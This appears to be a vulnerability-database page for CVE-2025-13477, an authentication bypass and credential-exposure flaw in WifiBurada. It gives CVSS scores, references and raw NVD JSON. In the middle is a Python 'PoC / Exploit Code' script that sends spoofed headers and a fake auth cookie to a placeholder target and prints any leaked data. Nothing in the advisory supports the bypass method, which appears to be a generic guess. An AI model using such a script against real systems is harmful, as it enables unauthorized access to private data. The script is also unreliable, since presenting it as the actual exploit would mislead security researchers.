CVE-2025-13477

Description

Exposure of private personal information to an unauthorized actor, Insufficiently Protected Credentials vulnerability in Digital Operations Services Inc. WifiBurada allows Authentication Bypass. This issue affects WifiBurada: through 21052026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WifiBurada <= 21052026

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2025-13477: WifiBurada Authentication Bypass
# This script attempts to bypass authentication to access sensitive data.

target_url = "http://target-ip/api/sensitive_data"

# Malicious headers or payload to exploit insufficient credential protection
headers = {
    "User-Agent": "CVE-2025-13477-Exploit",
    "X-Original-URL": "/admin/dashboard", # Bypass technique example
    "Cookie": "auth_token=bypass_token" # Example of weak credential handling
}

try:
    response = requests.get(target_url, headers=headers, timeout=5)
    if response.status_code == 200:
        print("[+] Authentication Bypass Successful!")
        print("[+] Data leaked:", response.text[:500])
    else:
        print("[-] Exploit failed.")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13477
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13477
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13477/
[4] VulDB https://vuldb.com/cve/CVE-2025-13477
[5] https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0284

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13477", "sourceIdentifier": "[email protected]", "published": "2026-05-21T14:16:43.300", "lastModified": "2026-05-21T15:24:41.890", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of private personal information to an unauthorized actor, Insufficiently Protected Credentials vulnerability in Digital Operations Services Inc. WifiBurada allows Authentication Bypass.\n\nThis issue affects WifiBurada: through 21052026. NOTE: The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-359"}, {"lang": "en", "value": "CWE-522"}]}], "references": [{"url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0284", "source": "[email protected]"}]}}